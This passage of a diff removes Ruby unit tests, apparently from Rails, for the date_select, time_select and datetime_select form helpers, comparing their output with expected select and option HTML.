-    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
-
-    expected << "</select>\n"
-
-    assert_dom_equal expected, date_select("post", "written_on", {}, :class => 'selector')
-  end
-
-  def test_date_select_with_html_options_within_fields_for
-    @post = Post.new
-    @post.written_on = Date.new(2004, 6, 15)
-
-    fields_for :post, @post do |f|
-      concat f.date_select(:written_on, {}, :class => 'selector')
-    end
-
-    expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]" class="selector">\n}
-    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
-    expected << "</select>\n"
-
-    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]" class="selector">\n}
-    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
-    expected << "</select>\n"
-
-    expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]" class="selector">\n}
-    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
-
-    expected << "</select>\n"
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_date_select_with_separator
-    @post = Post.new
-    @post.written_on = Date.new(2004, 6, 15)
-
-    expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
-    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
-    expected << "</select>\n"
-
-    expected << " / "
-
-    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
-    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
-    expected << "</select>\n"
-
-    expected << " / "
-
-    expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
-    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
-
-    expected << "</select>\n"
-
-    assert_dom_equal expected, date_select("post", "written_on", { :date_separator => " / " })
-  end
-
-  def test_date_select_with_default_prompt
-    @post = Post.new
-    @post.written_on = Date.new(2004, 6, 15)
-
-    expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
-    expected << %{<option value="">Year</option>\n<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
-    expected << "</select>\n"
-
-    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
-    expected << %{<option value="">Month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
-    expected << "</select>\n"
-
-    expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
-    expected << %{<option value="">Day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
-
-    expected << "</select>\n"
-
-    assert_dom_equal expected, date_select("post", "written_on", :prompt => true)
-  end
-
-  def test_date_select_with_custom_prompt
-    @post = Post.new
-    @post.written_on = Date.new(2004, 6, 15)
-
-    expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
-    expected << %{<option value="">Choose year</option>\n<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
-    expected << "</select>\n"
-
-    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
-    expected << %{<option value="">Choose month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
-    expected << "</select>\n"
-
-    expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
-    expected << %{<option value="">Choose day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
-
-    expected << "</select>\n"
-
-    assert_dom_equal expected, date_select("post", "written_on", :prompt => {:year => 'Choose year', :month => 'Choose month', :day => 'Choose day'})
-  end
-
-  def test_time_select
-    @post = Post.new
-    @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
-
-    expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}
-    expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" />\n}
-    expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" />\n}
-
-    expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]">\n)
-    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-    expected << " : "
-    expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]">\n)
-    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-
-    assert_dom_equal expected, time_select("post", "written_on")
-  end
-
-  def test_time_select_without_date_hidden_fields
-    @post = Post.new
-    @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
-
-    expected = %(<select id="post_written_on_4i" name="post[written_on(4i)]">\n)
-    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-    expected << " : "
-    expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]">\n)
-    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-
-    assert_dom_equal expected, time_select("post", "written_on", :ignore_date => true)
-  end
-
-  def test_time_select_with_seconds
-    @post = Post.new
-    @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
-
-    expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}
-    expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" />\n}
-    expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" />\n}
-
-    expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]">\n)
-    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-    expected << " : "
-    expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]">\n)
-    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-    expected << " : "
-    expected << %(<select id="post_written_on_6i" name="post[written_on(6i)]">\n)
-    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 35}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-
-    assert_dom_equal expected, time_select("post", "written_on", :include_seconds => true)
-  end
-
-  def test_time_select_with_html_options
-    @post = Post.new
-    @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
-
-    expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}
-    expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" />\n}
-    expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" />\n}
-
-    expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]" class="selector">\n)
-    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-    expected << " : "
-    expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]" class="selector">\n)
-    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-
-    assert_dom_equal expected, time_select("post", "written_on", {}, :class => 'selector')
-  end
-
-  def test_time_select_with_html_options_within_fields_for
-    @post = Post.new
-    @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
-
-    fields_for :post, @post do |f|
-      concat f.time_select(:written_on, {}, :class => 'selector')
-    end
-
-    expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}
-    expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" />\n}
-    expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" />\n}
-
-    expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]" class="selector">\n)
-    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-    expected << " : "
-    expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]" class="selector">\n)
-    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_time_select_with_separator
-    @post = Post.new
-    @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
-
-    expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}
-    expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" />\n}
-    expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" />\n}
-
-    expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]">\n)
-    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-
-    expected << " - "
-
-    expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]">\n)
-    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-
-    expected << " - "
-
-    expected << %(<select id="post_written_on_6i" name="post[written_on(6i)]">\n)
-    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 35}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-
-    assert_dom_equal expected, time_select("post", "written_on", { :time_separator => " - ", :include_seconds => true })
-  end
-
-  def test_time_select_with_default_prompt
-    @post = Post.new
-    @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
-
-    expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}
-    expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" />\n}
-    expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" />\n}
-
-    expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]">\n)
-    expected << %(<option value="">Hour</option>\n)
-    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-    expected << " : "
-    expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]">\n)
-        expected << %(<option value="">Minute</option>\n)
-    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-
-    assert_dom_equal expected, time_select("post", "written_on", :prompt => true)
-  end
-
-  def test_time_select_with_custom_prompt
-    @post = Post.new
-    @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
-
-    expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}
-    expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" />\n}
-    expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" />\n}
-
-    expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]">\n)
-    expected << %(<option value="">Choose hour</option>\n)
-    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-    expected << " : "
-    expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]">\n)
-        expected << %(<option value="">Choose minute</option>\n)
-    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-
-    assert_dom_equal expected, time_select("post", "written_on", :prompt => {:hour => 'Choose hour', :minute => 'Choose minute'})
-  end
-
-  def test_time_select_with_disabled_html_option
-    @post = Post.new
-    @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
-
-    expected = %{<input type="hidden" id="post_written_on_1i" disabled="disabled" name="post[written_on(1i)]" value="2004" />\n}
-    expected << %{<input type="hidden" id="post_written_on_2i" disabled="disabled" name="post[written_on(2i)]" value="6" />\n}
-    expected << %{<input type="hidden" id="post_written_on_3i" disabled="disabled" name="post[written_on(3i)]" value="15" />\n}
-
-    expected << %(<select id="post_written_on_4i" disabled="disabled" name="post[written_on(4i)]">\n)
-    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-    expected << " : "
-    expected << %(<select id="post_written_on_5i" disabled="disabled" name="post[written_on(5i)]">\n)
-    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-
-    assert_dom_equal expected, time_select("post", "written_on", {}, :disabled => true)
-  end
-
-  def test_datetime_select
-    @post = Post.new
-    @post.updated_at = Time.local(2004, 6, 15, 16, 35)
-
-    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
-    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
-    expected << "</select>\n"
-
-    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
-    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
-    expected << "</select>\n"
-
-    expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
-    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
-    expected << "</select>\n"
-
-    expected << " &mdash; "
-
-    expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
-    expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n}
-    expected << "</select>\n"
-    expected << " : "
-    expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
-    expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35" selected="selected">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n}
-    expected << "</select>\n"
-
-    assert_dom_equal expected, datetime_select("post", "updated_at")
-  end
-
-  def test_datetime_select_defaults_to_time_zone_now_when_config_time_zone_is_set
-    time = stub(:year => 2004, :month => 6, :day => 15, :hour => 16, :min => 35, :sec => 0)
-    time_zone = mock()
-    time_zone.expects(:now).returns time
-    Time.zone_default = time_zone
-    @post = Post.new
-
-    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
-    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
-    expected << "</select>\n"
-
-    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
-    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
-    expected << "</select>\n"
-
-    expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
-    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
-    expected << "</select>\n"
-
-    expected << " &mdash; "
-
-    expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
-    expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n}
-    expected << "</select>\n"
-    expected << " : "
-    expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
-    expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35" selected="selected">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n}
-    expected << "</select>\n"
-
-    assert_dom_equal expected, datetime_select("post", "updated_at")
-  ensure
-    Time.zone_default = nil
-  end
-
-  def test_datetime_select_with_html_options_within_fields_for
-    @post = Post.new
-    @post.updated_at = Time.local(2004, 6, 15, 16, 35)
-
-    fields_for :post, @post do |f|
-      concat f.datetime_select(:updated_at, {}, :class => 'selector')
-    end
-
-    expected = "<select id='post_updated_at_1i' name='post[updated_at(1i)]' class='selector'>\n<option value='1999'>1999</option>\n<option value='2000'>2000</option>\n<option value='2001'>2001</option>\n<option value='2002'>2002</option>\n<option value='2003'>2003</option>\n<option selected='selected' value='2004'>2004</option>\n<option value='2005'>2005</option>\n<option value='2006'>2006</option>\n<option value='2007'>2007</option>\n<option value='2008'>2008</option>\n<option value='2009'>2009</option>\n</select>\n"
-    expected << "<select id='post_updated_at_2i' name='post[updated_at(2i)]' class='selector'>\n<option value='1'>January</option>\n<option value='2'>February</option>\n<option value='3'>March</option>\n<option value='4'>April</option>\n<option value='5'>May</option>\n<option selected='selected' value='6'>June</option>\n<option value='7'>July</option>\n<option value='8'>August</option>\n<option value='9'>September</option>\n<option value='10'>October</option>\n<option value='11'>November</option>\n<option value='12'>December</option>\n</select>\n"
-    expected << "<select id='post_updated_at_3i' name='post[updated_at(3i)]' class='selector'>\n<option value='1'>1</option>\n<option value='2'>2</option>\n<option value='3'>3</option>\n<option value='4'>4</option>\n<option value='5'>5</option>\n<option value='6'>6</option>\n<option value='7'>7</option>\n<option value='8'>8</option>\n<option value='9'>9</option>\n<option value='10'>10</option>\n<option value='11'>11</option>\n<option value='12'>12</option>\n<option value='13'>13</option>\n<option value='14'>14</option>\n<option selected='selected' value='15'>15</option>\n<option value='16'>16</option>\n<option value='17'>17</option>\n<option value='18'>18</option>\n<option value='19'>19</option>\n<option value='20'>20</option>\n<option value='21'>21</option>\n<option value='22'>22</option>\n<option value='23'>23</option>\n<option value='24'>24</option>\n<option value='25'>25</option>\n<option value='26'>26</option>\n<option value='27'>27</option>\n<option value='28'>28</option>\n<option value='29'>29</option>\n<option value='30'>30</option>\n<option value='31'>31</option>\n</select>\n"
